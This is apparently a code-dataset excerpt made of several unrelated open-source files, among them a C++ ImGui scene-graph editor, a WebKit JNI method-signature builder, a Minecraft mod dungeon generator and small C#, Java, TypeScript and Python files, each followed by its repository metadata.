#endif
glBindBuffer(GL_ARRAY_BUFFER, last_array_buffer);
glBindBuffer(GL_ELEMENT_ARRAY_BUFFER, last_element_array_buffer);
glBlendEquationSeparate(last_blend_equation_rgb, last_blend_equation_alpha);
#if !defined(GLES2)
glBlendFunc(last_blend_src, last_blend_dst);
#endif
if (last_enable_blend)
glEnable(GL_BLEND);
else
glDisable(GL_BLEND);
if (last_enable_cull_face)
glEnable(GL_CULL_FACE);
else
glDisable(GL_CULL_FACE);
if (last_enable_depth_test)
glEnable(GL_DEPTH_TEST);
else
glDisable(GL_DEPTH_TEST);
if (last_enable_scissor_test)
glEnable(GL_SCISSOR_TEST);
else
glDisable(GL_SCISSOR_TEST);
glViewport(last_viewport[0], last_viewport[1], (GLsizei)last_viewport[2], (GLsizei)last_viewport[3]);
}
void GuiManager::invalidateDeviceObjects(void)
{
#if !defined(GLES2)
if (g_VaoHandle)
glDeleteVertexArrays(1, &g_VaoHandle);
#endif
if (g_VboHandle)
glDeleteBuffers(1, &g_VboHandle);
if (g_ElementsHandle)
glDeleteBuffers(1, &g_ElementsHandle);
g_VaoHandle = g_VboHandle = g_ElementsHandle = 0;
delete m_shader;
}
void GuiManager::createDeviceObjects(void)
{
m_shader = new Shader("shaders/gui");
m_shader->link();
m_shader->createUniform("Texture");
m_shader->createUniform("ProjMtx");
g_AttribLocationPosition = glGetAttribLocation(m_shader->getProgram(), "Position");
g_AttribLocationUV = glGetAttribLocation(m_shader->getProgram(), "UV");
g_AttribLocationColor = glGetAttribLocation(m_shader->getProgram(), "Color");
glGenBuffers(1, &g_VboHandle);
glGenBuffers(1, &g_ElementsHandle);
#if !defined(GLES2)
glGenVertexArrays(1, &g_VaoHandle);
glBindVertexArray(g_VaoHandle);
glBindBuffer(GL_ARRAY_BUFFER, g_VboHandle);
glEnableVertexAttribArray(g_AttribLocationPosition);
glEnableVertexAttribArray(g_AttribLocationUV);
glEnableVertexAttribArray(g_AttribLocationColor);
#define OFFSETOF(TYPE, ELEMENT) ((size_t) & (((TYPE *)0)->ELEMENT))
glVertexAttribPointer(g_AttribLocationPosition, 2, GL_FLOAT, GL_FALSE, sizeof(ImDrawVert), (GLvoid *)OFFSETOF(ImDrawVert, pos));
glVertexAttribPointer(g_AttribLocationUV, 2, GL_FLOAT, GL_FALSE, sizeof(ImDrawVert), (GLvoid *)OFFSETOF(ImDrawVert, uv));
glVertexAttribPointer(g_AttribLocationColor, 4, GL_UNSIGNED_BYTE, GL_TRUE, sizeof(ImDrawVert), (GLvoid *)OFFSETOF(ImDrawVert, col));
#undef OFFSETOF
#endif
}
GuiManager::GuiManager(const glm::vec2 &drawableSize, const glm::vec2 &displaySize, SDL_Window *sdlWindow)
{
m_sdlWindow = sdlWindow;
showProps = true;
ImGuiIO &io = ImGui::GetIO();
io.KeyMap[ImGuiKey_Tab] = SDLK_TAB; // Keyboard mapping. ImGui will use those indices to peek into the io.KeyDown[] array.
io.KeyMap[ImGuiKey_LeftArrow] = SDL_SCANCODE_LEFT;
io.KeyMap[ImGuiKey_RightArrow] = SDL_SCANCODE_RIGHT;
io.KeyMap[ImGuiKey_UpArrow] = SDL_SCANCODE_UP;
io.KeyMap[ImGuiKey_DownArrow] = SDL_SCANCODE_DOWN;
io.KeyMap[ImGuiKey_PageUp] = SDL_SCANCODE_PAGEUP;
io.KeyMap[ImGuiKey_PageDown] = SDL_SCANCODE_PAGEDOWN;
io.KeyMap[ImGuiKey_Home] = SDL_SCANCODE_HOME;
io.KeyMap[ImGuiKey_End] = SDL_SCANCODE_END;
io.KeyMap[ImGuiKey_Delete] = SDLK_DELETE;
io.KeyMap[ImGuiKey_Backspace] = SDLK_BACKSPACE;
io.KeyMap[ImGuiKey_Enter] = SDLK_RETURN;
io.KeyMap[ImGuiKey_Escape] = SDLK_ESCAPE;
io.KeyMap[ImGuiKey_A] = SDLK_a;
io.KeyMap[ImGuiKey_C] = SDLK_c;
io.KeyMap[ImGuiKey_V] = SDLK_v;
io.KeyMap[ImGuiKey_X] = SDLK_x;
io.KeyMap[ImGuiKey_Y] = SDLK_y;
io.KeyMap[ImGuiKey_Z] = SDLK_z;
io.RenderDrawListsFn = GuiManager::renderDrawLists; // Alternatively you can set this to NULL and call ImGui::GetDrawData() after ImGui::Render() to get the same ImDrawData pointer.
io.SetClipboardTextFn = Window::setClipboardText;
io.GetClipboardTextFn = Window::getClipboardText;
//#ifdef _WIN32
// SDL_SysWMinfo wmInfo;
// SDL_VERSION(&wmInfo.version);
// SDL_GetWindowWMInfo(m_sdlWindow, &wmInfo);
// io.ImeWindowHandle = wmInfo.info.win.window;
//#endif
createDeviceObjects();
unsigned char *pixels;
int width, height;
io.Fonts->GetTexDataAsRGBA32(&pixels, &width, &height); // Load as RGBA 32-bits for OpenGL3 demo because it is more likely to be compatible with user's existing shader.
m_textureData = new TextureData(width, height, pixels, GL_TEXTURE_2D, GL_LINEAR);
io.DisplaySize = ImVec2(displaySize.x, displaySize.y);
io.DisplayFramebufferScale = ImVec2(displaySize.x > 0 ? (drawableSize.x / displaySize.x) : 0, displaySize.y > 0 ? (drawableSize.y / displaySize.y) : 0);
}
GuiManager::~GuiManager(void)
{
invalidateDeviceObjects();
delete m_textureData;
ImGui::Shutdown();
}
void GuiManager::tick(Window *window, std::chrono::microseconds delta)
{
ImGuiIO &io = ImGui::GetIO();
io.DeltaTime = std::chrono::duration_cast<std::chrono::duration<float>>(delta).count();
glm::vec2 mousePos = window->getInput()->getMousePosition();
io.MousePos = ImVec2(mousePos.x, mousePos.y);
io.MouseDown[0] = window->getInput()->mouseIsPressed(SDL_BUTTON_LEFT);
io.MouseDown[1] = window->getInput()->mouseIsPressed(SDL_BUTTON_RIGHT);
io.MouseDown[2] = window->getInput()->mouseIsPressed(SDL_BUTTON_MIDDLE);
io.MouseWheel = window->getInput()->getMouseWheel().y / 15.0f;
io.KeyShift = (window->getInput()->getKeyModState() & KMOD_SHIFT) != 0;
io.KeyCtrl = (window->getInput()->getKeyModState() & KMOD_CTRL) != 0;
io.KeyAlt = (window->getInput()->getKeyModState() & KMOD_ALT) != 0;
io.KeySuper = (window->getInput()->getKeyModState() & KMOD_GUI) != 0;
window->drawCursor(io.MouseDrawCursor ? false : true);
// Start the frame
ImGui::NewFrame();
}
void renderComponent(Component *component)
{
ImGui::PushID(component);
ImGui::AlignFirstTextHeightToWidgets();
ImGui::PushStyleColor(ImGuiCol_Text, ImColor(1.0f, 0.78f, 0.58f, 1.0f));
bool node_open = ImGui::TreeNodeEx("Component", ImGuiTreeNodeFlags_DefaultOpen, "%s_%u", "component", component);
ImGui::NextColumn();
ImGui::AlignFirstTextHeightToWidgets();
ImGui::Text(component->getType());
ImGui::PopStyleColor();
ImGui::NextColumn();
int id = 0;
if (node_open)
{
for (auto &property : component->m_properties)
{
ImGui::PushID(id++);
ImGui::AlignFirstTextHeightToWidgets();
ImGui::Bullet();
ImGui::PushStyleColor(ImGuiCol_Text, ImColor(0.78f, 0.58f, 1.0f, 1.0f));
ImGui::Selectable(property.first);
ImGui::NextColumn();
ImGui::PushItemWidth(-1);
switch (property.second.type)
{
case FLOAT:
ImGui::SliderFloat("##value", (float *)property.second.p, property.second.min, property.second.max);
break;
case FLOAT3:
ImGui::SliderFloat3("##value", (float *)property.second.p, property.second.min, property.second.max);
break;
case BOOLEAN:
ImGui::Checkbox("##value", (bool *)property.second.p);
break;
case COLOR:
ImGui::ColorEdit3("##value", (float *)property.second.p);
break;
case ANGLE:
ImGui::SliderAngle("##value", (float *)property.second.p, property.second.min, property.second.max);
break;
}
ImGui::PopStyleColor();
ImGui::PopItemWidth();
ImGui::NextColumn();
ImGui::PopID();
}
ImGui::TreePop();
}
ImGui::PopID();
}
void renderSceneGraph(Entity *sceneGraph)
{
ImGui::PushID(sceneGraph);
ImGui::AlignFirstTextHeightToWidgets();
ImGui::PushStyleColor(ImGuiCol_Text, ImColor(0.78f, 1.0f, 0.58f, 1.0f));
bool node_open = ImGui::TreeNodeEx("Node", ImGuiTreeNodeFlags_DefaultOpen, "%s_%u", "node", sceneGraph);
ImGui::PopStyleColor();
ImGui::NextColumn();
ImGui::AlignFirstTextHeightToWidgets();
ImGui::NextColumn();
int id = 0;
if (node_open)
{
ImGui::PushID(id);
ImGui::PushStyleColor(ImGuiCol_Text, ImColor(0.0f, 0.8f, 1.0f, 1.0f));
ImGui::AlignFirstTextHeightToWidgets();
ImGui::Bullet();
ImGui::Selectable("translation");
ImGui::NextColumn();
ImGui::PushItemWidth(-1);
ImGui::SliderFloat3("##value", &(sceneGraph->getTransform().m_position.x), -10.0f, 10.0f);
ImGui::PopItemWidth();
ImGui::NextColumn();
ImGui::PopID();
ImGui::PushID(++id);
ImGui::Bullet();
ImGui::Selectable("rotation");
ImGui::NextColumn();
ImGui::PushItemWidth(-1);
ImGui::SliderFloat4("##value", &(sceneGraph->getTransform().m_rotation.x), -1.0f, 1.0f);
ImGui::PopItemWidth();
ImGui::NextColumn();
ImGui::PopID();
ImGui::PushID(++id);
ImGui::Bullet();
ImGui::Selectable("scale");
ImGui::NextColumn();
ImGui::PushItemWidth(-1);
ImGui::SliderFloat3("##value", &(sceneGraph->getTransform().m_scale.x), 0.0f, 10.0f);
ImGui::PopItemWidth();
ImGui::NextColumn();
ImGui::PopStyleColor();
ImGui::PopID();
for (auto component : sceneGraph->getComponents())
{
renderComponent(component.get());
}
for (auto entity : sceneGraph->getChildren())
{
renderSceneGraph(entity.get());
}
ImGui::TreePop();
}
ImGui::PopID();
}
void GuiManager::togglePropertyEditor(void)
{
showProps = !showProps;
}
void GuiManager::render(Entity *sceneGraph)
{
if (showProps)
{
ImGui::SetNextWindowPos(ImVec2(10, 10));
ImGui::SetNextWindowSize(ImVec2(500, 0), ImGuiSetCond_FirstUseEver);
if (!ImGui::Begin("Example: Fixed Overlay", nullptr, ImVec2(0, 0), 0.3f, ImGuiWindowFlags_NoTitleBar | ImGuiWindowFlags_NoResize | ImGuiWindowFlags_NoMove | ImGuiWindowFlags_NoSavedSettings))
{
ImGui::End();
return;
}
ImGui::Text("Application average %.3f ms/frame (%.1f FPS)", 1000.0f / ImGui::GetIO().Framerate, ImGui::GetIO().Framerate);
ImGui::PushStyleVar(ImGuiStyleVar_FramePadding, ImVec2(2, 2));
ImGui::Separator();
ImGui::Columns(2);
renderSceneGraph(sceneGraph);
ImGui::Columns(1);
ImGui::Separator();
ImGui::PopStyleVar();
ImGui::End();
// ImGui::ShowTestWindow();
ImGui::Render();
}
}
| Shervanator/Engine | src/engine/GuiManager.cpp | C++ | gpl-3.0 | 15,379 |
//----------------------------------------------------------------------------
// Copyright (C) 2004-2017 by EMGU Corporation. All rights reserved.
//----------------------------------------------------------------------------
using System;
using Emgu.CV;
#if UNITY_ANDROID || UNITY_IOS || UNITY_STANDALONE || UNITY_METRO || UNITY_EDITOR
using UnityEngine;
#elif NETFX_CORE
using Windows.UI;
#else
using System.Drawing;
#endif
namespace Emgu.CV.Structure
{
///<summary>
///Defines a Bgr565 (Blue Green Red) color
///</summary>
[ColorInfo(ConversionCodename = "Bgr565")]
public struct Bgr565 : IColor, IEquatable<Bgr565>
{
/// <summary>
/// The MCvScalar representation of the color intensity
/// </summary>
private MCvScalar _scalar;
///<summary> Create a Bgr565 color using the specific values</summary>
///<param name="blue"> The blue value for this color </param>
///<param name="green"> The green value for this color </param>
///<param name="red"> The red value for this color </param>
public Bgr565(double red, double green, double blue)
{
//_scalar = new MCvScalar(red, green, blue);
throw new NotImplementedException("Not implemented");
//TODO: implement this
}
#if !NETSTANDARD1_4
/// <summary>
/// Create a Bgr565 color using the System.Drawing.Color
/// </summary>
/// <param name="winColor">System.Drawing.Color</param>
public Bgr565(Color winColor)
#if UNITY_ANDROID || UNITY_IOS || UNITY_STANDALONE || UNITY_METRO || UNITY_EDITOR
: this(winColor.r * 255.0, winColor.g * 255.0, winColor.b * 255.0)
#else
: this(winColor.R, winColor.G, winColor.B)
#endif
{
}
#endif
///<summary> Get or set the intensity of the red color channel </summary>
[DisplayColor(0, 0, 255)]
public double Red { get { return _scalar.V0; } set { _scalar.V0 = value; } }
///<summary> Get or set the intensity of the green color channel </summary>
[DisplayColor(0, 255, 0)]
public double Green { get { return _scalar.V1; } set { _scalar.V1 = value; } }
///<summary> Get or set the intensity of the blue color channel </summary>
[DisplayColor(255, 0, 0)]
public double Blue { get { return _scalar.V2; } set { _scalar.V2 = value; } }
#region IEquatable<Rgb> Members
/// <summary>
/// Return true if the two color equals
/// </summary>
/// <param name="other">The other color to compare with</param>
/// <returns>true if the two color equals</returns>
public bool Equals(Bgr565 other)
{
return MCvScalar.Equals(other.MCvScalar);
}
#endregion
#region IColor Members
/// <summary>
/// Get the dimension of this color
/// </summary>
public int Dimension
{
get { return 2; }
}
/// <summary>
/// Get or Set the equivalent MCvScalar value
/// </summary>
public MCvScalar MCvScalar
{
get
{
return _scalar;
}
set
{
_scalar = value;
}
}
#endregion
/// <summary>
/// Represent this color as a String
/// </summary>
/// <returns>The string representation of this color</returns>
public override string ToString()
{
return String.Format("[{0},{1},{2}]", Red, Green, Blue);
}
}
}
| neutmute/emgucv | Emgu.CV/Color/Rgb565.cs | C# | gpl-3.0 | 3,489 |
/*
* Copyright (C) 2020 GG-Net GmbH
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
package eu.ggnet.dwoss.receipt.ui.tryout.fx;
import java.util.concurrent.Executors;
import javax.annotation.PostConstruct;
import javax.enterprise.context.ApplicationScoped;
import javax.enterprise.inject.Instance;
import javax.inject.Inject;
import eu.ggnet.saft.core.Saft;
import eu.ggnet.saft.core.impl.Fx;
import eu.ggnet.saft.core.ui.LocationStorage;
/**
* CDI Saft with FX.
*
* @author mirko.schulze
*/
@ApplicationScoped
// @Specializes
public class CdiFxSaft extends Saft {
@Inject
private Instance<Object> instance;
public CdiFxSaft() {
super(new LocationStorage(), Executors.newCachedThreadPool());
}
@PostConstruct
private void postInit() {
init(new Fx(this, p -> instance.select(p).get()));
core().captureMode(true);
}
}
| gg-net/dwoss | ui/receipt/src/test/java/eu/ggnet/dwoss/receipt/ui/tryout/fx/CdiFxSaft.java | Java | gpl-3.0 | 1,487 |
using System.Data.OracleClient;
using DataCommander.Providers2;
namespace DataCommander.Providers.OracleClient
{
internal class DataParameterImp : DataParameterBase
{
public DataParameterImp(OracleParameter parameter)
#pragma warning disable CS0618 // Type or member is obsolete
: base(parameter, parameter.Size, parameter.Precision, parameter.Scale)
#pragma warning restore CS0618 // Type or member is obsolete
{
_parameter = parameter;
}
protected override void SetSize(int size)
{
_parameter.Size = size;
}
private readonly OracleParameter _parameter;
}
} | csbernath/DataCommander | DataCommander/.NetFramework-4.8/Providers/DataCommander.Providers.OracleClient/DataParameterImp.cs | C# | gpl-3.0 | 669 |
import { ConflictException } from '@nestjs/common';
/**
* An exception that occurs whenever a resource being created already exists.
*/
export class ResourceAlreadyExistException extends ConflictException {}
| gavenda/yondene | src/api/app/shared/exceptions/resource-already-exist.exception.ts | TypeScript | gpl-3.0 | 211 |
/*
* Copyright (C) 2003, 2004, 2005, 2007, 2009 Apple Inc. All rights reserved.
* Copyright 2010, The Android Open Source Project
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY
* EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
* PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL APPLE COMPUTER, INC. OR
* CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
* PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
* PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
* OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include "config.h"
#include "JavaMethodJSC.h"
#if ENABLE(JAVA_BRIDGE)
#include <runtime/JSObject.h>
#include <runtime/ScopeChain.h>
#include <wtf/text/StringBuilder.h>
using namespace JSC;
using namespace JSC::Bindings;
JavaMethod::JavaMethod(JNIEnv* env, jobject aMethod)
{
// Get return type name
jstring returnTypeName = 0;
if (jobject returnType = callJNIMethod<jobject>(aMethod, "getReturnType", "()Ljava/lang/Class;")) {
returnTypeName = static_cast<jstring>(callJNIMethod<jobject>(returnType, "getName", "()Ljava/lang/String;"));
if (!returnTypeName)
returnTypeName = env->NewStringUTF("<Unknown>");
env->DeleteLocalRef(returnType);
}
m_returnTypeClassName = JavaString(env, returnTypeName);
m_returnType = javaTypeFromClassName(m_returnTypeClassName.utf8());
env->DeleteLocalRef(returnTypeName);
// Get method name
jstring methodName = static_cast<jstring>(callJNIMethod<jobject>(aMethod, "getName", "()Ljava/lang/String;"));
if (!methodName)
methodName = env->NewStringUTF("<Unknown>");
m_name = JavaString(env, methodName);
env->DeleteLocalRef(methodName);
// Get parameters
if (jarray jparameters = static_cast<jarray>(callJNIMethod<jobject>(aMethod, "getParameterTypes", "()[Ljava/lang/Class;"))) {
unsigned int numParams = env->GetArrayLength(jparameters);
for (unsigned int i = 0; i < numParams; i++) {
jobject aParameter = env->GetObjectArrayElement(static_cast<jobjectArray>(jparameters), i);
jstring parameterName = static_cast<jstring>(callJNIMethod<jobject>(aParameter, "getName", "()Ljava/lang/String;"));
if (!parameterName)
parameterName = env->NewStringUTF("<Unknown>");
m_parameters.append(JavaString(env, parameterName).impl());
env->DeleteLocalRef(aParameter);
env->DeleteLocalRef(parameterName);
}
env->DeleteLocalRef(jparameters);
}
// Created lazily.
m_signature = 0;
jclass modifierClass = env->FindClass("java/lang/reflect/Modifier");
int modifiers = callJNIMethod<jint>(aMethod, "getModifiers", "()I");
m_isStatic = static_cast<bool>(callJNIStaticMethod<jboolean>(modifierClass, "isStatic", "(I)Z", modifiers));
env->DeleteLocalRef(modifierClass);
}
JavaMethod::~JavaMethod()
{
if (m_signature)
fastFree(m_signature);
}
// JNI method signatures use '/' between components of a class name, but
// we get '.' between components from the reflection API.
static void appendClassName(StringBuilder& builder, const char* className)
{
ASSERT(JSLock::lockCount() > 0);
char* c = fastStrDup(className);
char* result = c;
while (*c) {
if (*c == '.')
*c = '/';
c++;
}
builder.append(result);
fastFree(result);
}
const char* JavaMethod::signature() const
{
if (!m_signature) {
JSLock lock(SilenceAssertionsOnly);
StringBuilder signatureBuilder;
signatureBuilder.append('(');
for (unsigned int i = 0; i < m_parameters.size(); i++) {
CString javaClassName = parameterAt(i).utf8();
JavaType type = javaTypeFromClassName(javaClassName.data());
if (type == JavaTypeArray)
appendClassName(signatureBuilder, javaClassName.data());
else {
signatureBuilder.append(signatureFromJavaType(type));
if (type == JavaTypeObject) {
appendClassName(signatureBuilder, javaClassName.data());
signatureBuilder.append(';');
}
}
}
signatureBuilder.append(')');
const char* returnType = m_returnTypeClassName.utf8();
if (m_returnType == JavaTypeArray)
appendClassName(signatureBuilder, returnType);
else {
signatureBuilder.append(signatureFromJavaType(m_returnType));
if (m_returnType == JavaTypeObject) {
appendClassName(signatureBuilder, returnType);
signatureBuilder.append(';');
}
}
String signatureString = signatureBuilder.toString();
m_signature = fastStrDup(signatureString.utf8().data());
}
return m_signature;
}
#endif // ENABLE(JAVA_BRIDGE)
| cs-au-dk/Artemis | WebKit/Source/WebCore/bridge/jni/jsc/JavaMethodJSC.cpp | C++ | gpl-3.0 | 5,765 |
package com.bioxx.tfc2.handlers;
import java.util.*;
import net.minecraft.init.Blocks;
import net.minecraftforge.fml.common.FMLCommonHandler;
import net.minecraftforge.fml.common.eventhandler.SubscribeEvent;
import net.minecraftforge.fml.relauncher.Side;
import com.bioxx.jmapgen.IslandMap;
import com.bioxx.jmapgen.Point;
import com.bioxx.jmapgen.attributes.Attribute;
import com.bioxx.jmapgen.dungeon.*;
import com.bioxx.jmapgen.dungeon.RoomSchematic.RoomType;
import com.bioxx.jmapgen.graph.Center;
import com.bioxx.tfc2.Core;
import com.bioxx.tfc2.TFC;
import com.bioxx.tfc2.TFCBlocks;
import com.bioxx.tfc2.api.events.IslandGenEvent;
import com.bioxx.tfc2.api.types.WoodType;
import com.bioxx.tfc2.blocks.BlockStoneBrick;
import com.bioxx.tfc2.blocks.BlockStoneSmooth;
public class CreateDungeonHandler
{
private boolean[] tempMap;
@SubscribeEvent
public void createDungeon(IslandGenEvent.Post event)
{
if(FMLCommonHandler.instance().getEffectiveSide() == Side.CLIENT)
return;
DungeonSchemManager dsm = DungeonSchemManager.getInstance();
Random random = event.islandMap.mapRandom;
Vector<Center> dungeonCenters = event.islandMap.getLandCenters();
dungeonCenters = this.removeRiverCenters(dungeonCenters);
dungeonCenters = event.islandMap.getCentersAbove(dungeonCenters, 0.3);
dungeonCenters = event.islandMap.getCentersBelow(dungeonCenters, 0.6, false);
if(dungeonCenters.size() == 0)
return;
//Find a suitable location for the entrance
Center start = null;
int counter = 0;
while(start == null)
{
start = dungeonCenters.get(random.nextInt(dungeonCenters.size()));
//pick a relatively flat area.
if(counter > 2500 || Math.abs(start.getAverageElevation() - start.getElevation()) <= 0.08)
{
break;
}
start = null;
counter++;
}
//We want our dungeon to have its entrance in this chunk.
int xStartChunk = ((int)(start.point.x) >> 4);
int zStartChunk = ((int)(start.point.y) >> 4);
//Elevation of the center
int startElev = event.islandMap.convertHeightToMC(start.getElevation())+64;
//this is the Y level where the dungeon will start
int elev = startElev-30;
DungeonTheme dungeonTheme = dsm.getRandomTheme(random);
Dungeon dungeon = new Dungeon(dungeonTheme.getThemeName(), xStartChunk, elev, zStartChunk);
dungeon.blockMap.put("dungeon_wall", TFCBlocks.StoneBrick.getDefaultState().withProperty(BlockStoneBrick.META_PROPERTY, event.islandMap.getParams().getSurfaceRock()));
dungeon.blockMap.put("dungeon_floor", Core.getPlanks(WoodType.getTypeFromString(event.islandMap.getParams().getCommonTree())));
dungeon.blockMap.put("dungeon_ceiling", TFCBlocks.StoneBrick.getDefaultState().withProperty(BlockStoneBrick.META_PROPERTY, event.islandMap.getParams().getSurfaceRock()));
dungeon.blockMap.put("dungeon_smoothstone", TFCBlocks.StoneSmooth.getDefaultState().withProperty(BlockStoneSmooth.META_PROPERTY, event.islandMap.getParams().getSurfaceRock()));
dungeon.blockMap.put("dungeon_stairs_floor", TFCBlocks.StairsOak.getDefaultState());
dungeon.blockMap.put("dungeon_stairs_wall", TFCBlocks.StairsOak.getDefaultState());
dungeon.blockMap.put("dungeon_door", Blocks.OAK_DOOR.getDefaultState());
while(true)
{
genDungeon(event.islandMap, dungeonTheme, random, xStartChunk, zStartChunk, dungeon);
if(dungeon.getRoomCount() > 30)
break;
dungeon.resetDungeonMap();
}
TFC.log.info("Dungeon: " + start.point.toString() + " | Size : " + dungeon.getRoomCount());
event.islandMap.dungeons.add(dungeon);
}
private void genDungeon(IslandMap map, DungeonTheme dungeonTheme, Random random, int xStartChunk, int zStartChunk, Dungeon dungeon)
{
DungeonRoom dungeonEntrance = new DungeonRoom(dungeonTheme.getRandomEntrance(random), dungeon.dungeonStart);
dungeon.setRoom(xStartChunk, 0, zStartChunk, dungeonEntrance);
LinkedList<DungeonRoom> queue = new LinkedList<DungeonRoom>();
queue.add(dungeonEntrance);
while(queue.peek() != null)
{
DungeonRoom room = queue.poll();
if(room == null || room.getSchematic() == null)
continue;
boolean isRoomValid = true;
boolean addedRoom = false;
for(DungeonDirection dir : room.getSchematic().getConnections())
{
RoomPos pos = room.getPosition().offset(dir);
//Have we already established a connection in this direction?
if(isRoomValid && !room.hasConnection(dir))
{
DungeonRoom neighbor = dungeon.getRoom(room.getPosition().offset(dir));
/**
* Create a new random room in this direction
*/
if(neighbor == null && checkElevation(map, dungeon, room.getPosition().offset(dir)))
{
RoomSchematic schem = null;
double dist = room.getPosition().offset(dir).distanceSq(dungeon.dungeonStart);
if(dist > 256)
schem = dungeonTheme.getRandomRoomSingleDirection(random, dir.getOpposite());
else if(random.nextDouble() < 0.25 && room.getPosition().getY() > 16)
schem = dungeonTheme.getRandomRoomForDirection(random, dir.getOpposite(), RoomType.Stairs);
else
schem = dungeonTheme.getRandomRoomForDirection(random, dir.getOpposite());
if(schem == null)
continue;
neighbor = new DungeonRoom(schem, room.getPosition().offset(dir));
linkRooms(room, neighbor, dir);
addedRoom = true;
if(!neighbor.getSchematic().getSetPieceMap().isEmpty())
{
if(checkSetPiece(map, dungeon, neighbor.getPosition(), neighbor.getSchematic().getSetPieceMap()))
{
Iterator<RoomPos> iter = neighbor.getSchematic().getSetPieceMap().keySet().iterator();
while(iter.hasNext())
{
RoomPos setPos = iter.next();
String s = neighbor.getSchematic().getSetPieceMap().get(setPos);
setPos = pos.add(setPos);
DungeonRoom setpieceRoom = new DungeonRoom(dungeonTheme.getSchematic(s), setPos);
dungeon.setRoom(setPos, setpieceRoom);
queue.add(setpieceRoom);
}
}
else
{
neighbor.clearConnections(dungeon);
neighbor = null;
}
}
}
else if(neighbor != null)//A room already exists in this neighbor location
{
//If the neighbor can connect to this room then link them
if(neighbor.getSchematic().getConnections().contains(dir.getOpposite()))
{
linkRooms(room, neighbor, dir);
}
}
if(neighbor != null && addedRoom)
{
queue.add(neighbor);
dungeon.setRoom(neighbor);
}
}
if(!isRoomValid)
break;
}
if(!isRoomValid)
{
room.clearConnections(dungeon);
requeueNeighbors(queue, dungeon, room);
dungeon.setRoom(room.getPosition(), null);
}
}
}
boolean checkElevation(IslandMap map, Dungeon dungeon, RoomPos pos)
{
Center closest = map.getClosestCenter(new Point((pos.getX() << 4)+8, (pos.getZ() << 4)+8));
if(pos.getY()+14 > map.convertHeightToMC(closest.getElevation())+64)//we do 14 instead of 10 to make sure that the schematic is a bit deeper underground
return false;
if(pos.getY() > dungeon.dungeonStart.getY())
return false;
return true;
}
boolean checkSetPiece(IslandMap islandMap, Dungeon dungeon, RoomPos startPos, Map<RoomPos, String> map)
{
Iterator<RoomPos> iter = map.keySet().iterator();
while(iter.hasNext())
{
RoomPos pos = iter.next();
RoomPos pos2 = startPos.add(pos);
if(dungeon.getRoom(pos2) != null)
return false;
if(!checkElevation(islandMap, dungeon, pos2))
return false;
}
return true;
}
void requeueNeighbors(LinkedList<DungeonRoom> queue, Dungeon dungeon, DungeonRoom room)
{
DungeonRoom other = dungeon.getRoom(room.getPosition().offset(DungeonDirection.NORTH));
if(other != null)
queue.add(other);
other = dungeon.getRoom(room.getPosition().offset(DungeonDirection.SOUTH));
if(other != null)
queue.add(other);
other = dungeon.getRoom(room.getPosition().offset(DungeonDirection.EAST));
if(other != null)
queue.add(other);
other = dungeon.getRoom(room.getPosition().offset(DungeonDirection.WEST));
if(other != null)
queue.add(other);
other = dungeon.getRoom(room.getPosition().offset(DungeonDirection.UP));
if(other != null)
queue.add(other);
other = dungeon.getRoom(room.getPosition().offset(DungeonDirection.DOWN));
if(other != null)
queue.add(other);
}
void linkRooms(DungeonRoom room1, DungeonRoom room2, DungeonDirection room1_dir)
{
room1.addConnection(room1_dir, new RoomLink(true));
room2.addConnection(room1_dir.getOpposite(), new RoomLink(false));
}
public Vector<Center> removeRiverCenters(Vector<Center> list)
{
Vector<Center> out = new Vector<Center>();
for(Center c : list)
{
if(!c.hasAttribute(Attribute.River))
out.add(c);
}
return out;
}
}
| Precision-Smelter/TFC2 | src/Common/com/bioxx/tfc2/handlers/CreateDungeonHandler.java | Java | gpl-3.0 | 8,748 |
from setuptools import setup
def readme():
with open('README.rst') as f:
return f.read()
setup(name='MapperTools',
packages=['MapperTools'],
version='0.1',
description='A python 2.7 implementation of Mapper algorithm for Topological Data Analysis',
keywords='mapper TDA python',
long_description=readme(),
url='http://github.com/alpatania',
author='Alice Patania',
author_email='alice.patania@gmail.com',
license='MIT',
classifiers=['Development Status :: 3 - Alpha',
'License :: OSI Approved :: MIT License',
'Programming Language :: Python :: 2.7'],
install_requires=['hdbscan', 'sklearn', 'pandas', 'collections'],
include_package_data=True,
zip_safe=False) | alpatania/MapperTools | setup.py | Python | gpl-3.0 | 791 |
package net.ess3.api.events;
import com.earth2me.essentials.signs.EssentialsSign;
import net.ess3.api.IUser;
import org.bukkit.event.HandlerList;
/**
* Fired when an Essentials sign is interacted with.
*
* This is primarily intended for use with EssentialsX's sign abstraction - external plugins should not listen on this event.
*/
public class SignInteractEvent extends SignEvent {
private static final HandlerList handlers = new HandlerList();
public SignInteractEvent(final EssentialsSign.ISign sign, final EssentialsSign essSign, final IUser user) {
super(sign, essSign, user);
}
@Override
public HandlerList getHandlers() {
return handlers;
}
public static HandlerList getHandlerList() {
return handlers;
}
}
| drtshock/Essentials | Essentials/src/main/java/net/ess3/api/events/SignInteractEvent.java | Java | gpl-3.0 | 779 |
